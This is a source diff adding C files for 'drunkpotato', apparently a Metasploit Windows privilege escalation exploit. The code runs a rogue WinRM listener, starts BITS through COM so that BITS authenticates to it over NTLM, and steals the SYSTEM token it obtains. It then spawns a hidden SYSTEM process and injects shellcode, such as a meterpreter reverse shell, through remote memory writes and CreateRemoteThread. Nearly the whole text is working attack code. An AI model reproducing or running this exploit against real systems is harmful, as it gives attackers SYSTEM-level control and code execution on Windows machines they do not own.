||||
);
|
||||
|
||||
this->authResult = status;
|
||||
|
||||
dprintf("[HandleType3] Result of AcceptSecurityContext() = status: 0x%x--", status);
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
|
||||
static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len)
|
||||
{
|
||||
*outbuffer_len = (unsigned short)this->secServerBuffer.cbBuffer;
|
||||
return (char*)this->secServerBuffer.pvBuffer;
|
||||
}
|
||||
|
||||
|
||||
|
||||
static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
|
||||
{
|
||||
pSecBuffer->BufferType = SECBUFFER_TOKEN;
|
||||
pSecBuffer->cbBuffer = 0;
|
||||
pSecBuffer->pvBuffer = NULL;
|
||||
|
||||
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
|
||||
pSecBufferDesc->cBuffers = 1;
|
||||
pSecBufferDesc->pBuffers = pSecBuffer;
|
||||
}
|
58
external/source/exploits/drunkpotato/Common_Src_Files/LocalNegotiator.h
vendored
Normal file
58
external/source/exploits/drunkpotato/Common_Src_Files/LocalNegotiator.h
vendored
Normal file
@ -0,0 +1,58 @@
|
||||
#pragma once
|
||||
|
||||
#pragma comment (lib, "Secur32.Lib")
|
||||
|
||||
/**
|
||||
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
|
||||
in particular for the local negotiator.
|
||||
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
|
||||
for how I emulated a class in pure C.
|
||||
|
||||
The local negotiator is an object used to handle security an client-server negotiation data. In this
|
||||
exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
|
||||
obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
|
||||
*/
|
||||
|
||||
struct _LocalNegotiator;
|
||||
|
||||
typedef void (*negConstructor) (struct _LocalNegotiator*);
|
||||
typedef void (*negDestructor) (struct _LocalNegotiator*);
|
||||
typedef void (*Initialize) (struct _LocalNegotiator*);
|
||||
typedef int (*handle1) (struct _LocalNegotiator*, char*, unsigned short);
|
||||
typedef int (*handle3) (struct _LocalNegotiator*, char*, unsigned short);
|
||||
typedef char* (*returnType) (struct _LocalNegotiator*, unsigned short*);
|
||||
typedef int (*processBytes) (struct _LocalNegotiator*, char*, unsigned short);
|
||||
|
||||
typedef struct _LocalNegotiator
|
||||
{
|
||||
// Methods as pointer to functions
|
||||
negConstructor construct;
|
||||
negDestructor destruct;
|
||||
handle1 handleType1;
|
||||
handle3 handleType3;
|
||||
returnType returnType2;
|
||||
processBytes processNtlmBytes;
|
||||
|
||||
// Arguments
|
||||
int authResult;
|
||||
PCtxtHandle phContext;
|
||||
CredHandle hCred;
|
||||
SecBufferDesc secClientBufferDesc;
|
||||
SecBufferDesc secServerBufferDesc;
|
||||
SecBuffer secClientBuffer;
|
||||
SecBuffer secServerBuffer;
|
||||
} LocalNegotiator;
|
||||
|
||||
|
||||
// Constructor and destructor
|
||||
void Init(LocalNegotiator* this);
|
||||
void destructNegotiator(LocalNegotiator* this);
|
||||
|
||||
// Methods of emulated classes
|
||||
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
|
||||
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
|
||||
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
|
||||
static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len);
|
||||
|
||||
// Static function
|
||||
static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer);
|
533
external/source/exploits/drunkpotato/Common_Src_Files/RogueWinRM.c
vendored
Normal file
533
external/source/exploits/drunkpotato/Common_Src_Files/RogueWinRM.c
vendored
Normal file
@ -0,0 +1,533 @@
|
||||
#include "pch.h"
|
||||
|
||||
#define SUCCESS_PWNED 0 // Success exit status of RunRogueWinRM
|
||||
#define ERROR_NOT_ENOUGH_PRIVILEGES 1
|
||||
#define ERROR_WINRM_ALREADY_PRESENT 2
|
||||
#define ERROR_BITS_RUNNING 3
|
||||
#define ERROR_BITS_NOT_TRIGGERED 4
|
||||
#define ERROR_NO_BITS_AUTH 5
|
||||
#define ERROR_UNKNOWN 6
|
||||
#define ERROR_VIRTUAL_ALLOC_FAILURE 7
|
||||
#define ERROR_HEAP_ALLOC_FAILURE 8
|
||||
#define ERROR_TOKEN_IS_NOT_SYSTEM 9
|
||||
#define ERROR_FAILED_TO_GET_TOKEN 10
|
||||
#define ERROR_NO_TOKEN_INFOS 11
|
||||
#define ERROR_TOKEN_DUPLICATION_FAILURE 12
|
||||
#define ERROR_SHELLCODE_REMOTE_COPY_FAILURE 13
|
||||
#define ERROR_SHELLCODE_TRIGGER_FAILURE 14
|
||||
#define ERROR_OTHER 15
|
||||
|
||||
#define SHELLCODE_BUFFER_SIZE 400000 // I use such a large buffer to allow the use of payload such as stageless meterpreter (windows/meterpreter_reverse_tcp)
|
||||
#define WINDOWS_PATH_LENGTH_LIMITATION 260
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Main procedure called by main/dllmain. This function successively:
|
||||
|
||||
- Checks process privileges
|
||||
- Starts a rogue WinRM server in a new thread
|
||||
- Checks if BITS is running and trigger it if it is not
|
||||
- Call a querySecurityContext to get a SYSTEM token from the Rogue WinRM
|
||||
- Duplicate this token as a primary token
|
||||
- Launch a new process as SYSTEM through the previously got token
|
||||
- Copy the shellcode in the SYSTEM process and make it execute
|
||||
|
||||
|
||||
@param char* shellcode Local address of the shellcode sent by metasploit and allocated in the heap.
|
||||
|
||||
@return int Error code. See #define constant in this file.
|
||||
*/
|
||||
int RunRogueWinRM(char* metasploit_raw_data)
|
||||
{
|
||||
char* winrm_port_address = NULL;
|
||||
char* shellcode = NULL;
|
||||
unsigned int shellcode_length = 0;
|
||||
|
||||
LocalNegotiator* negotiator = (LocalNegotiator*)calloc(1, sizeof(LocalNegotiator));
|
||||
THREAD_PARAMETERS threads_params;
|
||||
|
||||
HANDLE hThread = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE elevated_token = NULL;
|
||||
HANDLE duped_token = NULL;
|
||||
BOOL bitsRunning = TRUE;
|
||||
BOOL triggerBitsStatus = FALSE;
|
||||
BOOL result = FALSE;
|
||||
//const wchar_t processname[] = L"notepad.exe";
|
||||
wchar_t processname[WINDOWS_PATH_LENGTH_LIMITATION] = { 0 };
|
||||
int error_code = ERROR_OTHER;
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFOW si;
|
||||
createProcessMethod processMethod = UNAUTHORIZED;
|
||||
|
||||
if (!negotiator)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory space for negotiator handling.");
|
||||
return ERROR_HEAP_ALLOC_FAILURE;
|
||||
}
|
||||
|
||||
extract_metasploit_data(metasploit_raw_data, &winrm_port_address, processname, &shellcode, &shellcode_length);
|
||||
|
||||
// Get a token for this process and check if current security context is vulnerable.
|
||||
if ( !OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: failed to get a token for the current process.");
|
||||
return ERROR_FAILED_TO_GET_TOKEN;
|
||||
}
|
||||
|
||||
//enable privileges
|
||||
processMethod = determineProcessLaunchingMethod(hToken);
|
||||
if (processMethod == UNAUTHORIZED)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: current process has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privileges. Unexploitable.");
|
||||
return ERROR_NOT_ENOUGH_PRIVILEGES;
|
||||
}
|
||||
|
||||
negotiator->construct = &Init;
|
||||
negotiator->construct(negotiator);
|
||||
|
||||
threads_params.negotiator = negotiator;
|
||||
threads_params.winrm_port = winrm_port_address;
|
||||
|
||||
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)handleListener, &threads_params, 0, NULL);
|
||||
Sleep(1000);
|
||||
|
||||
do
|
||||
{
|
||||
bitsRunning = isBitsRunning();
|
||||
if (bitsRunning)
|
||||
Sleep(30000);
|
||||
} while (bitsRunning);
|
||||
|
||||
triggerBitsStatus = triggerBits();
|
||||
if (!triggerBitsStatus)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: cannot activate BITS object. Exiting...");
|
||||
return ERROR_BITS_NOT_TRIGGERED;
|
||||
}
|
||||
|
||||
if (negotiator->authResult != -1)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] authresult %d", negotiator->authResult);
|
||||
|
||||
QuerySecurityContextToken(negotiator->phContext, &elevated_token);
|
||||
error_code = IsTokenSystem(elevated_token);
|
||||
if (error_code != 0)
|
||||
{
|
||||
return error_code;
|
||||
}
|
||||
|
||||
negotiator->destruct(negotiator);
|
||||
negotiator = NULL;
|
||||
|
||||
error_code = DuplicateTokenEx
|
||||
(
|
||||
elevated_token,
|
||||
TOKEN_ALL_ACCESS,
|
||||
NULL,
|
||||
SecurityImpersonation,
|
||||
TokenPrimary,
|
||||
&duped_token
|
||||
);
|
||||
if (error_code == 0)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: failed to duplicate token: error code 0x%lx", GetLastError());
|
||||
return ERROR_TOKEN_DUPLICATION_FAILURE;
|
||||
}
|
||||
|
||||
ZeroMemory(&si, sizeof(STARTUPINFOW));
|
||||
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
||||
si.cb = sizeof(STARTUPINFOW);
|
||||
si.lpDesktop = (LPWSTR)L"winsta0\\default";
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
if (processMethod == WITH_TOKEN)
|
||||
{
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
|
||||
dprintf("[RunRogueWinRM] Launching new process through CreateProcessWithTokenW().");
|
||||
result = CreateProcessWithTokenW
|
||||
(
|
||||
duped_token,
|
||||
0,
|
||||
processname,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: CreateProcessWithTokenW failed to create proc with return code: %d", GetLastError());
|
||||
return ERROR_UNKNOWN;
|
||||
}
|
||||
}
|
||||
else if (processMethod == AS_USER)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] Launching process with CreateProcessAsUserW().");
|
||||
result = CreateProcessAsUserW
|
||||
(
|
||||
duped_token,
|
||||
processname,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
0,
|
||||
NULL,
|
||||
L"C:\\",
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: CreateProcessAsUser failed to create proc with return code: %d", GetLastError());
|
||||
return ERROR_UNKNOWN;
|
||||
}
|
||||
}
|
||||
dprintf("[RunRogueWinRM] SUCCESS: target process launched as SYSTEM.");
|
||||
|
||||
error_code = trigger_drunkpotato(shellcode, shellcode_length, pi);
|
||||
return error_code;
|
||||
}
|
||||
else { dprintf("[RunRogueWinRM] ERROR: no authentication received... negotiator->authResult != -1"); }
|
||||
|
||||
CloseHandle(hThread);
|
||||
return ERROR_NO_BITS_AUTH;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
This function takes in input the raw data sent by metasploit and extract the shellcode
|
||||
in one hand, and the WinRM port in the other hand. Indeed, WinRM usually listen on port
|
||||
5985, but in some cases, it can listen on port 47001:
|
||||
https://docs.microsoft.com/en-us/windows/win32/winrm/obtaining-data-from-the-local-computer
|
||||
By convention, metasploit data is formatted as this:
|
||||
|
||||
port\x00process_name\x00shellcode_len\x00shellcode
|
||||
|
||||
Thus, nulls byte are prohibited.
|
||||
|
||||
|
||||
@param char* metasploit_bulk_data The raw data sent by metasploit, formatted as this: port\x00process_name\x00shellcode_len\x00shellcode
|
||||
@param char** winrm_port_address The WinRM port address. Should be either 5985 or 47001
|
||||
@param wchar_t** process_name_as_wchar The name of the process to launch as SYSTEM. For instance notepad.exe
|
||||
@param char** shellcode The (local) shellcode address
|
||||
@param unsigned int* shellcode_length The (local) shellcode lenght
|
||||
|
||||
@return void
|
||||
*/
|
||||
static void extract_metasploit_data(char* metasploit_bulk_data, char** winrm_port_address, wchar_t* process_name_as_wchar, char** shellcode, unsigned int* shellcode_length)
|
||||
{
|
||||
char* shellcode_length_str = NULL;
|
||||
char* process_name_as_char = NULL;
|
||||
size_t converted_chars = 0;
|
||||
|
||||
*winrm_port_address = metasploit_bulk_data;
|
||||
process_name_as_char = metasploit_bulk_data + strlen(metasploit_bulk_data) + 1; // +1 is for passing the intermediary null byte.
|
||||
shellcode_length_str = process_name_as_char + strlen(process_name_as_char) + 1;
|
||||
*shellcode = shellcode_length_str + strlen(shellcode_length_str) + 1;
|
||||
|
||||
*shellcode_length = atoi(shellcode_length_str);
|
||||
mbstowcs_s(
|
||||
&converted_chars,
|
||||
process_name_as_wchar,
|
||||
WINDOWS_PATH_LENGTH_LIMITATION,
|
||||
process_name_as_char,
|
||||
_TRUNCATE
|
||||
);
|
||||
|
||||
dprintf("[extract_metasploit_data] WinRM port: %s", *winrm_port_address);
|
||||
dprintf("[extract_metasploit_data] Process to launch: %s", process_name_as_char);
|
||||
dprintf("[extract_metasploit_data] shellcode length: %d", *shellcode_length);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
This function take as parameter the shellcode address in current process and
|
||||
a handle to a previously created SYSTEM process. This function does 3 things:
|
||||
- allocate executable memory space in remote process (in which the shellcode will be written)
|
||||
- copy the shellcode inside it
|
||||
- trigger its execution
|
||||
|
||||
|
||||
@param char* shellcode The (local) shellcode address
|
||||
@param PROCESS_INFORMATION pi A handle to SYSTEM remote process
|
||||
|
||||
@return int The error code. SUCCESS_PWNED if succeed.
|
||||
*/
|
||||
static int trigger_drunkpotato(char* shellcode, unsigned int shellcode_len, PROCESS_INFORMATION pi)
|
||||
{
|
||||
LPVOID shellcode_remote_address = NULL;
|
||||
SIZE_T lpnumber = 0;
|
||||
|
||||
|
||||
dprintf("[RunRogueWinRM] Attempting to allocate executable memory space in spawned process...");
|
||||
shellcode_remote_address = (int*)VirtualAllocEx(pi.hProcess, NULL, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!shellcode_remote_address)
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory in remote process.");
|
||||
TerminateProcess(pi.hProcess, 0);
|
||||
WaitForSingleObject(pi.hProcess, 1000);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return ERROR_VIRTUAL_ALLOC_FAILURE;
|
||||
}
|
||||
dprintf("[RunRogueWinRM] SUCCESS: executable memory space successfully allocated.");
|
||||
|
||||
|
||||
dprintf("[RunRogueWinRM] Attempting to write shellcode in spawned process...");
|
||||
if (!WriteProcessMemory(pi.hProcess, shellcode_remote_address, shellcode, shellcode_len, &lpnumber))
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: failed to write shellcode into remote process.");
|
||||
TerminateProcess(pi.hProcess, 0);
|
||||
WaitForSingleObject(pi.hProcess, 1000);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return ERROR_SHELLCODE_REMOTE_COPY_FAILURE;
|
||||
}
|
||||
dprintf("[RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.");
|
||||
|
||||
|
||||
dprintf("[RunRogueWinRM] Attempting to trigger shellcode from spawned process...");
|
||||
if (!CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcode_remote_address, NULL, 0, 0))
|
||||
{
|
||||
dprintf("[RunRogueWinRM] ERROR: failed to trigger shellcode from remote process.");
|
||||
TerminateProcess(pi.hProcess, 0);
|
||||
WaitForSingleObject(pi.hProcess, 1000);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return ERROR_SHELLCODE_TRIGGER_FAILURE;
|
||||
}
|
||||
dprintf("[RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.");
|
||||
return SUCCESS_PWNED;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
This function checks the privileges of the token passed as argument in order to determine
|
||||
if the host process will be launched with CreateProcessWithTokenW (requires SE_IMPERSONATE_NAME priv)
|
||||
or with CreateProcessAsUserW (requires SE_ASSIGNPRIMARYTOKEN_NAME priv).
|
||||
|
||||
|
||||
@param HANDLE hToken A handle to a token (Trivial)
|
||||
|
||||
@return createProcessMethod An enumeration (WITH_TOKEN, AS_USER, UNAUTHORIZED)
|
||||
*/
|
||||
static createProcessMethod determineProcessLaunchingMethod(HANDLE hToken)
|
||||
{
|
||||
dprintf("[createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...");
|
||||
if (EnablePriv(hToken, SE_IMPERSONATE_NAME)) { return WITH_TOKEN; }
|
||||
dprintf("[createProcessMethod] Attempting to enable SE_ASSIGNPRIMARYTOKEN_NAME privilege...");
|
||||
if (EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME)) { return AS_USER; }
|
||||
dprintf("[createProcessMethod] ERROR: current user has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privilege. Not vulnerable.");
|
||||
return UNAUTHORIZED;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Get the token (argument) and try to enable the specified privilege (argument) for that token.
|
||||
|
||||
|
||||
@param HANDLE hToken A handle to a token
|
||||
@param LPCTSTR priv A pointer to a string containing the specified privilege
|
||||
(for instance SE_IMPERSONATE_NAME)
|
||||
|
||||
@return BOOL TRUE if the privilege has been enabled, else FALSE
|
||||
*/
|
||||
static BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
|
||||
{
|
||||
LUID luid;
|
||||
TOKEN_PRIVILEGES tp;
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, priv, &luid))
|
||||
{
|
||||
dprintf("[EnablePriv] ERROR: Priv Lookup FALSE");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(
|
||||
hToken,
|
||||
FALSE,
|
||||
&tp,
|
||||
sizeof(TOKEN_PRIVILEGES),
|
||||
(PTOKEN_PRIVILEGES)NULL,
|
||||
(PDWORD)NULL))
|
||||
{
|
||||
dprintf("[EnablePriv] ERROR: Priv Adjust FALSE");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
||||
{
|
||||
dprintf("[EnablePriv] ERROR: The token does not have the specified privilege. This mean that current user doesn't have sufficient privileges for exploitation.");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
dprintf("[EnablePriv] SUCCESS: Privilege enabled.");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Check if the specified token is a SYSTEM token.
|
||||
Source of this function:
|
||||
https://stackoverflow.com/questions/47252634/failed-to-check-against-nt-authority-system-sid
|
||||
|
||||
|
||||
@param HANDLE tok A handle to a token
|
||||
|
||||
@return int An error code. 0 for success (i.e. if tok belongs to SYSTEM)
|
||||
*/
|
||||
static int IsTokenSystem(HANDLE tok)
|
||||
{
|
||||
int error_code = ERROR_OTHER;
|
||||
TOKEN_USER* token_user_address = NULL;
|
||||
DWORD dwOut = 0;
|
||||
PSID sid_address = NULL;
|
||||
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||
|
||||
dprintf("[IsTokenSystem] Checking if token is SYSTEM...");
|
||||
GetTokenInformation(tok, TokenUser, 0, 0, &dwOut);
|
||||
error_code = HRESULT_FROM_WIN32(GetLastError());
|
||||
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
|
||||
token_user_address = (TOKEN_USER*)calloc(dwOut, sizeof(TOKEN_USER)), error_code = E_OUTOFMEMORY;
|
||||
|
||||
if (!token_user_address) { return ERROR_HEAP_ALLOC_FAILURE; }
|
||||
|
||||
if (GetTokenInformation(tok, TokenUser, token_user_address, dwOut, &dwOut))
|
||||
{
|
||||
if (AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &sid_address))
|
||||
{
|
||||
error_code = EqualSid(sid_address, token_user_address->User.Sid) ? S_OK : ERROR_TOKEN_IS_NOT_SYSTEM;
|
||||
FreeSid(sid_address);
|
||||
}
|
||||
else
|
||||
error_code = HRESULT_FROM_WIN32(GetLastError());
|
||||
}
|
||||
else
|
||||
error_code = HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
free(token_user_address);
|
||||
token_user_address = NULL;
|
||||
|
||||
if (error_code == S_OK) { dprintf("[IsTokenSystem] SUCCESS: Token is SYSTEM."); }
|
||||
else { dprintf("[IsTokenSystem] ERROR: Token is not SYSTEM. Error code = %d", error_code); }
|
||||
|
||||
return error_code;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Checks if BITS is running through OpenSCManager. This is a prerequisite as
|
||||
the vulnerable behavior occurs at BITS start time. So it is mandatory to
|
||||
check if BITS is stopped in order to start it.
|
||||
|
||||
@return BOOL FALSE if BITS is not running or if an error occurs.
|
||||
*/
|
||||
static BOOL isBitsRunning()
|
||||
{
|
||||
SERVICE_STATUS ServiceStatus;
|
||||
SC_HANDLE hService = NULL;
|
||||
SC_HANDLE hSCManager = NULL;
|
||||
BOOL result = FALSE;
|
||||
int status = -1;
|
||||
|
||||
dprintf("[isBitsRunning] Checking if BITS is running (It should not)...");
|
||||
|
||||
|
||||
hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SERVICE_QUERY_STATUS);
|
||||
if (hSCManager == NULL)
|
||||
{
|
||||
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenSCManagerA error: %d", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hService = OpenServiceA(hSCManager, (LPCSTR)"BITS", SERVICE_QUERY_STATUS);
|
||||
if (hService == NULL)
|
||||
{
|
||||
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenServiceA error: %d", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
status = QueryServiceStatus(hService, &ServiceStatus);
|
||||
if (status == 0)
|
||||
{
|
||||
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... QueryServiceStatus error: %d", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
|
||||
{
|
||||
result = TRUE;
|
||||
dprintf("[isBitsRunning] BITS is running... Waiting 30 seconds for Timeout (usually 120 seconds for timeout)...");
|
||||
}
|
||||
else
|
||||
result = FALSE;
|
||||
|
||||
dprintf("[isBitsRunning] SUCCESS: BITS is not running.");
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Start BITS service, and thus trigger the vulnerable behavior.
|
||||
See https://www.codeproject.com/Articles/13601/COM-in-plain-C
|
||||
for understanding how to understand how COM objects are implemented in pure C
|
||||
|
||||
@return BOOL TRUE if BITS was successfully started. FALSE is an error occurs.
|
||||
*/
|
||||
static BOOL triggerBits(void)
|
||||
{
|
||||
const wchar_t bits_GUID[] = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
|
||||
const IID* IID_IUnknown_address = &IID_IUnknown;
|
||||
BOOL status = FALSE;
|
||||
HRESULT result = E_FAIL;
|
||||
IUnknown* unknown1 = NULL;
|
||||
CLSID clsid;
|
||||
|
||||
dprintf("[triggerBits] Attempting to start BITS...");
|
||||
result = CoInitialize(NULL);
|
||||
result = CLSIDFromString(bits_GUID, &clsid);
|
||||
result = CoCreateInstance(&clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown_address, (void**)&unknown1);
|
||||
|
||||
if (result == S_OK)
|
||||
{
|
||||
status = TRUE;
|
||||
unknown1->lpVtbl->Release(unknown1);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[triggerBits] ERROR: CoCreateInstance failed with error 0x%x\n", result);
|
||||
status = FALSE;
|
||||
}
|
||||
|
||||
CoUninitialize();
|
||||
|
||||
dprintf("[triggerBits] SUCCESS: BITS triggered!");
|
||||
return status;
|
||||
}
|
30
external/source/exploits/drunkpotato/Common_Src_Files/RogueWinRM.h
vendored
Normal file
30
external/source/exploits/drunkpotato/Common_Src_Files/RogueWinRM.h
vendored
Normal file
@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
#include <wchar.h>
|
||||
#include <assert.h>
|
||||
|
||||
|
||||
struct _THREAD_PARAMETERS;
|
||||
typedef struct _THREAD_PARAMETERS
|
||||
{
|
||||
char* winrm_port;
|
||||
LocalNegotiator* negotiator;
|
||||
} THREAD_PARAMETERS;
|
||||
|
||||
enum _createProcessMethod;
|
||||
typedef enum _createProcessMethod
|
||||
{
|
||||
WITH_TOKEN,
|
||||
AS_USER,
|
||||
UNAUTHORIZED
|
||||
} createProcessMethod;
|
||||
|
||||
|
||||
int RunRogueWinRM(char* shellcode);
|
||||
static int trigger_drunkpotato(char* shellcode, unsigned int shellcode_len, PROCESS_INFORMATION pi);
|
||||
static createProcessMethod determineProcessLaunchingMethod(HANDLE hToken);
|
||||
static BOOL EnablePriv(HANDLE hToken, LPCTSTR priv);
|
||||
static int IsTokenSystem(HANDLE tok);
|
||||
static BOOL isBitsRunning(void);
|
||||
static BOOL triggerBits(void);
|
||||
static void extract_metasploit_data(char* metasploit_bulk_data, char** winrm_port_address, wchar_t* process_name, char** shellcode, unsigned int* shellcode_length);
|
373
external/source/exploits/drunkpotato/Common_Src_Files/Services/elevatorService.c
vendored
Normal file
373
external/source/exploits/drunkpotato/Common_Src_Files/Services/elevatorService.c
vendored
Normal file
@ -0,0 +1,373 @@
|
||||
/**
|
||||
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
|
||||
in particular for the local negotiator.
|
||||
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
|
||||
for how I emulated a class in pure C.
|
||||
|
||||
This class defines the rogue WinRM server and inherits from service.c (methods and arguments).
|
||||
This class is in charge of handling BITS connection attempt by sending it a 401 NTLM authentication
|
||||
challenge response. When BITS authenticates to our rogue WinRM service, this service creates a
|
||||
security context in the local negotiator object (see localNegotiator.c) which will be used to
|
||||
steal a SYSTEM token.
|
||||
*/
|
||||
|
||||
#include "..\pch.h"
|
||||
|
||||
#define DEFAULT_BUFLEN 4096
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Constructor of the elevatorServer class. Setup the addresses of class methods,
|
||||
initialize some arguments, and call the constructor of base server (service.c)
|
||||
|
||||
@param elevatorServer* this Address of the instantiated object.
|
||||
@param char* listen_address Address of IP (as string)
|
||||
@param char* listen_port Address of port (as string)
|
||||
@param BOOL debug TRUE or FALSE. Defined in main/dllmain
|
||||
*/
|
||||
void initElevatorService(elevatorServer* this, char* listen_address, char* listen_port)
|
||||
{
|
||||
ZeroMemory(this, sizeof(elevatorServer));
|
||||
|
||||
this->destruct = &destructElevatorService;
|
||||
this->socketError = &elevatorSocketError;
|
||||
this->handleNTLMPConnection = &handleNTLMPConnection;
|
||||
this->computeNtlmsspRequest = &compute_ntlmssp_request;
|
||||
this->forgeNtlmsspChallengeResponses = &forge_ntlmssp_challenge_responses;
|
||||
this->generateNegTokenTarg = &genNegTokenTarg;
|
||||
|
||||
// Instantiation of base server
|
||||
this->baseServer.construct = &initService;
|
||||
this->baseServer.construct(&this->baseServer, listen_address, listen_port);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
free allocated memory and call the destructor of base server (service.c)
|
||||
|
||||
@param elevatorServer* this Address of the instantiated object.
|
||||
*/
|
||||
void destructElevatorService(elevatorServer* this)
|
||||
{
|
||||
this->baseServer.destruct(&this->baseServer);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Main entry point called by RunRogueWinRM. This function create a rogue WinRM
|
||||
object by allocating memory for handle it, setting its constructor and calling it.
|
||||
Then, makes it listening for incoming connections.
|
||||
|
||||
@param LPVOID threadParameters Main parameters used by the rogue WinRM server.
|
||||
contains a blank local negotiator object (localNegotiator.c)
|
||||
and debug boolean used to print network packets.
|
||||
*/
|
||||
void handleListener(LPVOID threadParameters)
|
||||
{
|
||||
elevatorServer Server;
|
||||
THREAD_PARAMETERS* thread_params;
|
||||
thread_params = (THREAD_PARAMETERS*)threadParameters;
|
||||
LocalNegotiator* negotiator = thread_params->negotiator;
|
||||
|
||||
Server.construct = &initElevatorService;
|
||||
Server.construct(&Server, "127.0.0.1", thread_params->winrm_port);
|
||||
dprintf("[handleListener] Rogue WinRM service now listening for connection on port %s.", thread_params->winrm_port);
|
||||
|
||||
handleNTLMPConnection(&Server, negotiator);
|
||||
Server.destruct(&Server);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
Handle the NTLM connection when BITS server shoots our rogue WinRM service:
|
||||
- Receive the first NTLMP negotiate packet (NTLMP 1) from BITS
|
||||
